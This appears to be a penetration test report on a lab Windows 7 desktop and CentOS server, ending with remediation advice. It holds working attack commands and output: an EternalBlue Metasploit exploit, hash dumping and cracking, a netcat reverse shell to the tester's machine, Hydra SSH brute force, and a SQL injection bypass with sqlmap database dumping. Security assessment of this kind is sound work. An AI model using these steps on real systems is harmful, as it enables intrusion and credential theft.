

Penetration Test Report

Table of contents

- 1) Scanning
 - 1.1.1. Desktop (Nmap and Nessus)
 - 1.1.2. Server (Nmap, Nessus, and Nikto)
- 2) Exploitation
 - 1.1.3. Desktop (MetaSploit)
 - 1.1.4. Server (Hydra, SQL injection)
- 3) Post Exploitation
 - 1.1.5. Desktop (John the Ripper, NetCat)
 - 1.1.6. Server (SSH)
- 4) Recommendations
 - 1.1.7. Desktop
 - 1.1.8. Server
 - 1.1.9. Others

Prerequisite

We were provided the network for machines which is `192.168.10.0/24`, so the first thing that I've done was to move *Kali* to this network using the following:

```
ifconfig eth0 192.168.10.66
```

```
route add -net 192.168.10.0 netmask 255.255.255.0 eth0
```

Once *kali* was moved on to the same network as *desktop/server*, I've fired up *netdiscover* to get the IP address of machines via this command in terminal:

```
netdiscover -i eth0
```

Which basically asks *netdiscover* to scan the *eth0* interface.

❖ Scanning

➤ Desktop (Nmap and Nessus)

I've used *nmap* with the following flags to gather information about target:

```
nmap -Pn -sV -O 192.168.10.20
```

-Pn flag skips host discovery as we know the target is alive. *-sV* will probe open ports on the target to determine services running on those ports and the version info. *-O* will enable operating system detection on the target machine.

```
└──(root💀kali㉿kali:[/home/kali])# nmap -Pn -sV -O 192.168.10.20
Host discovery disabled (-Pn). All addresses will be marked 'up'
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 04:24 EDT
Nmap scan report for 192.168.10.20
Host is up (0.0016s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
MAC Address: 00:0C:29:10:02:00 (VMware)
Warning: OSScan results may be unreliable because we could not fi
Device type: general purpose|phone
Running: Microsoft Windows 2008|8.1|7|Phone|Vista
```

Nmap gave us the open ports which are 135,139, 445 and the services running on them. We also know that OS is either 2008, 8.1, 7, or vista but we needed confirmation, so we've used *-A* flag in nmap this time to see the difference.

```
Host script results:
clock-skew: mean: -20m00s, deviation: 34m38s, median: 0s
nbstat: NetBIOS name: WIN-USPQ65TE72P, NetBIOS user: <unkn
smb-os-discovery:
  OS: Windows 7 Professional 7601 Service Pack 1 (Windows
  OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
  Computer name: WIN-USPQ65TE72P
  NetBIOS computer name: WIN-USPQ65TE72P\x00
  Workgroup: WORKGROUP\x00
  System time: 2021-04-18T09:42:52+01:00
```

The `-A` flag in `nmap` gave us exactly what we were looking for. We now know that the target is running *Windows 7 Professional* with *service pack 1* installed. `-A` flag combines OS, version detection, script scan, and traceroute in one flag.

Equipped with open ports, services running on them, version info, and the OS running on target, we were now ready to step up the ladder, so I ran `nmap` to scan for vulnerabilities on the host using the following command in *kali*:

```
nmap --script=vuln 192.168.10.20
```

`--script=vuln` will make `nmap` run all scripts in the `vuln` category against target.

`nmap` came up with multiple vulnerabilities. the one that we've found interesting is [ms17-010](#) this vulnerability allows remote code execution.

```
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|smb-vuln-ms17-010:
|  VULNERABLE:
|    Remote Code Execution vulnerability in Microsoft SMBv1 servers
|      State: VULNERABLE
|      IDs:  CVE:CVE-2017-0143
|      Risk factor: HIGH
|        A critical remote code execution vulnerability exists in M:
|        servers (ms17-010).

|  Disclosure date: 2017-03-14
```

Nessus's basic network scan confirmed the vulnerability identified by *nmap*. In fact, *Nessus* reported another critical vulnerability ([ms11-030](#)) that *nmap* didn't.

Desktop / 192.168.10.20 / Microsoft Windows (Multip...
[Back to Vulnerabilities](#)

Vulnerabilities 19

Search Vulnerabilities 2 Vulnerabilities

<input type="checkbox"/>	Sev ▾	Name ▲	Family ▲	Count ▾
<input type="checkbox"/>	CRITICAL	MS11-030: Vulnerability i...	Windows	1
<input type="checkbox"/>	CRITICAL	MS17-010: Security Upda...	Windows	1

❖ Exploitation

➤ Desktop (MetaSploit)

Now we know that the target is vulnerable, our next step is to exploit it. We'll use *MetaSploit Framework* version *6.0.15-dev* to exploit the desktop.

Our first step is to check whether the given vulnerability is exploitable via *MetaSploit*. We'll do that by searching for vulnerability name in *MetaSploit*.

```
msf6 > search ms17-010

Matching Modules
=====
#  Name
-
0 auxiliary/admin/smb/ms17_010_command
1 auxiliary/scanner/smb/smb_ms17_010
2 exploit/windows/smb/ms17_010_永恒之蓝
3 exploit/windows/smb/ms17_010_永恒之蓝_win8
4 exploit/windows/smb/ms17_010_psexec
5 exploit/windows/smb/smb_doublepulsar_rce

      Disclosure Date   Rank
      2017-03-14       normal
      2017-03-14       normal
      2017-03-14       average
      2017-03-14       average
      2017-03-14       normal
      2017-04-14       great
```

We needed information about exploits, so we used *info {exploit name}* command:

```
Available targets: 26 bytes 1380 (1.3 KiB)
  Id  Name  errors 0  dropped 0  overruns 0  carrier 0  coll
  --
  0  Windows 7 and Server 2008 R2 (x64) All Service Packs
  -- root@kali: /home/kali
```

Going through the information, we've found that one of the exploits has listed *windows 7* under available targets. So, we've decided to use that irrespective of its low rank. It's named [*exploit/windows/smb/ms17_010_永恒之蓝*](#) in *MetaSploit*.

The info command showed that we've to specify a value for *RHOSTS* in order to use this exploit. We did that by using *set RHOSTS 192.168.10.20* (IP of Desktop)

show payloads command displayed available payloads for this exploit. There were multiple payloads, but we chose default *windows/x64/meterpreter/reverse_tcp*

Finally, we've launched the exploit in *MetaSploit* using the *exploit* command.

And the exploit was successful.

```
meterpreter > sysinfo
[...]
meterpreter >
```

In the next step, we'll look at post exploitation.

❖ Post Exploitation

➤ Password Cracking (DESKTOP)

Now that we're in the system, it's time to dig deep. I've used *hashdump* command in *meterpreter* shell to dump contents of *SAM* database from target.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cf0
Lora Brown:1004:aad3b435b51404eeaad3b435b51404ee:ed
meterpreter >
```

I've used *John the Ripper* version 1.9.0-jumbo-1 OMP to crack the password.

```
[root💀 kali]# ./john --format="NT" --wordlist="/usr/share/wordlists/rockyou.txt" /tmp/1000.salt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider using -t 1
Press 'q' or Ctrl-C to abort, almost any other key to continue
Administrator:500:(Lora Brown):04eeaad3b435b51404ee:ed
1g 0:00:00:00 DONE (2021-04-18 08:56) 100.0g/s 960c
Use the "--show --format=NT" options to display all results
Session completed 192.168.10.20 - Meterpreter session 1
```

❖ Post Exploitation

➤ Remote Shell (DESKTOP)

I've then decided to get a remote shell on the target system, for this, I've used *netcat*. The first step was to upload *netcat* on desktop. *Meterpreter* comes with *upload* command that allows an attacker to upload files to target.

```
meterpreter > upload /usr/share/windows-binaries/nc.exe
[*] uploading : /usr/share/windows-binaries/nc.exe → nc.exe
[*] Uploaded 58.00 KiB of 58.00 KiB (100.0%): /usr/share/windo
[*] uploaded : /usr/share/windows-binaries/nc.exe → nc.exe
meterpreter > ls -l
Listing: C:\programdata
=====
```

Once *netcat* was uploaded, I've setup a listener on *Kali*. This listener will wait for incoming connection from desktop. I've used *-e* option in *netcat* to forward *cmd.exe* so we'll end up in windows shell when desktop connects to *kali*.

```
meterpreter > shell
Process 1056 created.
Channel 6 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\programdata>nc.exe -nv 192.168.10.66 4444 -e cmd.exe
nc.exe -nv 192.168.10.66 4444 -e cmd.exe
```

Our listener on *kali* picked up this incoming connection request from desktop and we've got windows shell. We can forward any program with *-e* option.

```
└─(root㉿kali)-[~/home/kali]
└# netcat -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.10.66] from (UNKNOWN) [192.168.10.20] 49162
```

Prerequisite

As with the desktop, we've used *netdiscover* in *kali* again to get our hands-on servers IP this time and ended up with *192.168.10.10* next, we'll move on to scan

❖ Scanning

➤ Server (Nmap and Nessus)

We've used *nmap* with the same set of flags as we've used earlier when we were scanning the desktop *nmap -Pn -sV -O 192.168.10.10* to get the operating system running on server, services running on open ports along with version.

```
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.6.1 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.6 ((CentOS) 
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup=WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup=WORKGROUP)
MAC Address: 00:0C:29:A9:CB:29 (VMware)
```

We now know that the server is running *ssh* on port *22*, *http* server on port *80*. The operating system has been identified as *Linux*, but there's no confirmation on operating system version, so we'll use the *-A* flag in *nmap* to see if we can get additional details on the OS version. Here's the output when *-A* flag is used:

```
Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m
|_nbstat: NetBIOS name: CENTOS, NetBIOS user:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.8.3)
|   Computer name: localhost
|   NetBIOS computer name: CENTOS\x00
|   Domain name: \x00
|   FQDN: localhost
|   System time: 2021-04-19T00:39:09-07:00
```

Nessus, however, gave us better OS confirmation in this case:

Output

```
Remote operating system : Linux Kernel 3.10 on CentOS Linux release 7
Confidence level : 95
Method : HTTP

The remote host is running Linux Kernel 3.10 on CentOS Linux release 7
```

nmap vulnerability scan came up with *DOS* vulnerability. I wouldn't be dossing this server, but I'm listing the reported vulnerability here as a good practise.

```
smb-vuln-regsvc-dos:
  VULNERABLE:
    Service regsvc in Microsoft Windows systems vulnerable
      State: VULNERABLE
```

nmap vulnerability scan gave us a possible cross site request forgery (*CSRF*):

```
Found the following possible CSRF vulnerabilities:
  Path: http://192.168.10.10:80/reports.php
  Form id:
  Form action: reports.php
```

Nikto scan showed that the server is running an outdated version of *PHP*, *Apache*.

```
└─(root💀kali㉿kali:[/home/kali])
# nikto -host 192.168.10.10
- Nikto v2.1.6

+ Target IP:          192.168.10.10
+ Target Hostname:    192.168.10.10
+ Target Port:        80
+ Start Time:         2021-04-21 05:26:15 (GMT-4)

+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the u
+ The X-Content-Type-Options header is not set. This could allow the user a
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.3
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37).
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD, TRACE
```

❖ Exploitation

➤ Server (SSH Brute Force)

We know that *SSH* port 22 is open on the server, so our first attempt is to try and brute force *SSH*. We'll use the default wordlist that comes with *kali* *rockyou*

We'll use this dictionary to brute force only the password, as we already have two usernames to play with which are publicly available on company's web portal <http://192.168.10.10> *lbrown* and *mbrown* we can see them when we hover over the email address listed on the front page. Apparently, they're using *initial + last name* to create *usernames* and this same *username* might work for *SSH* too.

Matt is handling technical support, so it's possible that he's using a strong password which might take long to break, so we'll try to brute force Lora's password as she's from product support and might be using something simple.

```
[root@kali ~]# hydra -l lbrown -P /usr/share/wordlists/rockyou.txt 192.168.10.10 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-20
[WARNING] Many SSH configurations limit the number of parallel tasks, it i
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (
[DATA] attacking ssh://192.168.10.10:22/
[22][ssh] host: 192.168.10.10 login: lbrown password: lovely
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not comp
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-20
```

User *mbrown*'s password wasn't that difficult either:

```
[22][ssh] host: 192.168.10.10 login: mbrown password: liverpool
1 of 1 target successfully completed, 1 valid password found
```

❖ Exploitation

➤ Server (SQL Injection)

The reports page on the server which is accessible at <http://192.168.10.10/reports.php> has an *input* field for *password*. I've tried basic SQL injection with *foo' OR '1=1* in the *input* field instead of actual password which I didn't have, and I was presented with the annual report. This means that the injection was successful, as we were able to *bypass authentication*

Select Report:

User:

Password:

This is the annual report

Note: we could've got around this *authentication* by using the password obtained in previous step (*SSH* brute force) as same password works here

Since we know the *SQL injection* was successful, I've decided to give *SQLMAP* a go. After running the scan, *SQLMAP* came up with the following:

```
[16:11:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[16:11:02] [INFO] fetched data logged to text
```

So, the database is running on *MySQL* next, we'll get the names of available databases. After that, we'll chose one of the databases and get its tables. The flag to get the names of available databases via *SQLMAP* is `--dbs` this flag will be appended to the *query string*. Flag will change in next steps to get tables, columns, etc, but the query string will remain the same.

Note: we've got the query string by checking *POST request* header in *OWASP ZAP* while it was set as a *proxy* between our browser in *kali* and server. *ZAP* has acted as an *interceptor* between both machines so we can see *POST request* and *response*. Unlike *GET request*, *POST* will not show in URL.

```
[16:15:18] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ≥ 5.6
[16:15:18] [INFO] fetching database names
[16:15:18] [INFO] retrieved: 'information_schema'
[16:15:18] [INFO] retrieved: 'company'
available databases [2]:
[*] company
[*] information_schema
```

We'll select the database named *company* and get its tables:

```
[16:24:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ≥ 5.6
[16:24:13] [INFO] fetching tables for database: 'company'
[16:24:13] [INFO] retrieved: 'users'
Database: company
[1 table]
+-----+
| users |
+-----+
```

Next, we'll get columns in this table.

```
[16:27:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ≥ 5.6
[16:27:24] [INFO] fetching columns for table 'users' in database 'company'
[16:27:24] [INFO] retrieved: 'login'  Spider  Active Scan  WebSockets
[16:27:24] [INFO] retrieved: 'text'
[16:27:24] [INFO] retrieved: 'name'
[16:27:24] [INFO] retrieved: 'text'
[16:27:24] [INFO] retrieved: 'password'  Method      URL
[16:27:24] [INFO] retrieved: 'text'      GET        http://192.168.10.1
Database: company  2021-04-20 1:44:34 PM
Table: users  2021-04-20 1:46:06 PM
[3 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| login  | text  |
| name   | text  |
| password | text |
+-----+-----+
```

We'll dump database columns now to get values in these.

```
[16:32:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ≥ 5.6
[16:32:09] [INFO] fetching columns for table 'users' in database 'company'
[16:32:09] [INFO] resumed: 'login'
[16:32:09] [INFO] resumed: 'text'
[16:32:09] [INFO] resumed: 'name'
[16:32:09] [INFO] resumed: 'text'
[16:32:09] [INFO] resumed: 'password'
[16:32:09] [INFO] resumed: 'text'
[16:32:09] [INFO] fetching entries for table 'users' in database 'company'
[16:32:09] [INFO] retrieved: 'lbrown'  Spider  Active Scan  WebSockets
[16:32:09] [INFO] retrieved: 'Lora Brown'
[16:32:09] [INFO] retrieved: 'lovely'
[16:32:09] [INFO] retrieved: 'mbrown'
[16:32:10] [INFO] retrieved: 'Matt Brown'  Method      URL
[16:32:10] [INFO] retrieved: 'liverpool'  GET        http://192.168.10.10
Database: company  2021-04-20 1:44:34 PM
Table: users  2021-04-20 1:46:06 PM
[2 entries]
+-----+-----+-----+
| name    | login  | password |
+-----+-----+-----+
| Lora Brown | lbrown | lovely   |
| Matt Brown  | mbrown | liverpool|
+-----+-----+-----+
```

Starting with a basic *SQL injection*, we've got the *database* name, *tables* in it, the *columns* in those *tables*, and finally the value in those *columns*.

❖ Post Exploitation

➤ Remote Shell on Server (SSH)

As expected, *Lora's* password was simple enough that it took *hydra* < 10 seconds to break it. Equipped with her password, we were able to get a remote shell. However, we've discovered that the shell was limited, and Laura wasn't granted any special privileges. Same with the other account that we've cracked

```
└─(root💀kali㉿kali)-[~/home/kali]
└─# ssh lbrown@192.168.10.10
The authenticity of host '192.168.10.10 (192.168.10.10)' 
ECDSA key fingerprint is SHA256:AKv2o/eT8H0kWWr5ZKxH4YfP
Are you sure you want to continue connecting (yes/no/[fi
Warning: Permanently added '192.168.10.10' (ECDSA) to th
lbrown@192.168.10.10's password:
Last failed login: Mon Apr 19 22:16:24 PDT 2021 from 192
There were 14 failed login attempts since the last succe
Could not chdir to home directory /home/lbrown: No such
-bash-4.2$ █
```

❖ Recommendations

➤ Desktop

Desktop has [ms17-010](#) vulnerability which is also known as *EternalBlue*. This vulnerability could allow remote code execution if attacker sends specially crafted messages to *SMB version 1.0* server (Unify, 2017, p. 1). Microsoft has released an update which addresses how *SMB version 1.0* handles specially crafted requests. In order to fix this vulnerability, security update for *SMB* server: [4013389](#) should be applied. Other technical details can be seen [here](#)

During the exploitation stage, we've managed to crack *Laura's* password with *John* in under 10 seconds. *Laura* is using a password which is only six characters long. Doesn't have any capital letters, numbers, or special character in it.

This implies that there's no or weak password policy in place (Team, 2017, p. 1). It's recommended to use an effective and secure password policy. Such as:

- Password should be a min of 8 characters long
- It shouldn't be common or easily guessable
- Combination of letters, numbers, special characters should be used, etc

The operating system (*Windows 7*) is no longer supported by the vendor (*Microsoft*). *Microsoft* has stopped offering support for *Windows 7* on Jan 14, 2020 (*Microsoft*, 2020, p. 1). So, it's advisable to upgrade the OS as well.

❖ Recommendations

➤ Server

As suggested by *Nikto* scan, both *PHP* and *Apache server* are running an outdated version (*PHP 5.4.16* and *Apache 2.4.6*). These should be upgraded to the latest release as outdated version are likely insecure. Even if an exploit doesn't exist today, it'll be possible soon. Vendor itself suggests using latest stable release.

```
└─(root㉿kali)-[~/home/kali]
  └─# nikto -host 192.168.10.10
  - Nikto v2.1.6

  + Target IP:          192.168.10.10
  + Target Hostname:    192.168.10.10
  + Target Port:        80
  + Start Time:         2021-04-21 05:26:15 (GMT-4)

  + Server: Apache/2.4.6 (CentOS) PHP/5.4.16
  + The anti-clickjacking X-Frame-Options header is not present.
  + The X-XSS-Protection header is not defined. This header can hint to the u
  + The X-Content-Type-Options header is not set. This could allow the user a
  + PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.3
  + Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37).
  + Allowed HTTP Methods: POST, OPTIONS, GET, HEAD, TRACE
```

We were able to *brute force* both *lbrown* and *mbrown* users for *SSH* access as both found to be using commonly used terms as their password. I would suggest enforcement of a password policy for server, just like I've suggested for the desktop above. I'll cross reference above suggested [password policy](#).

The *input* field *password* on *reports.php* is vulnerable to *SQL injection*. We've exploited this vulnerability with basic *SQL injection* and then with *SQLMAP*.

It's happening because the developer has trusted user *input* in *password* field. The following defences could be opted to secure the page against *SQL injection*

- **Parameterized Queries:** allows the database to distinguish between code and data, regardless of supplied *input* (OWASP, 2020, p. 1).
- **Escaping user Input:** will escape user *input* before putting it into *query*.

The passwords weren't hashed in the database. Hashing passwords will act as a second line of defence, given that attacked has got them from the database by breaking first line of defence. It's always advisable to have in depth defence.

❖ Recommendations

➤ Others

Based on my observation of both desktop and server, I would like to propose the following security measures to strengthen the security of these systems.

- **Input validation:** always validate user *input*. Be it username, password, billing, shipping details, or making a dropdown selection on a form.
- **Password policy:** efficient and secure *password policy* should be enforced. This will minimize success rate of brute force type attacks
- **Failed login threshold:** Users shouldn't be allowed to brute force in the first place. There's a need for failed login threshold. This will lock them out after x number of failed login attempts followed by a cool off period
- **Patch policy:** We've found outdated applications such as *PHP* and *Apache* on the server. vendors will usually issue critical security related patches for latest stable releases, so it's in our best interest to run latest version. This not only applies to applications, but also the operating system.

References

Microsoft. (2020). Support for Windows 7 has ended.

<https://www.microsoft.com/en-us/microsoft-365/windows/end-of-windows-7-support>

OWASP. (2020). SQL Injection Prevention Cheat Sheet.

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Team. (2017). A Free Password Policy Template. Focal Point. <https://blog.focal-point.com/a-free-password-policy-template-for-2018>

Unify. (2017). Security Advisory Report - OBSO-1704-01.

<https://networks.unify.com/security/advisories/OBSO-1704-01.pdf>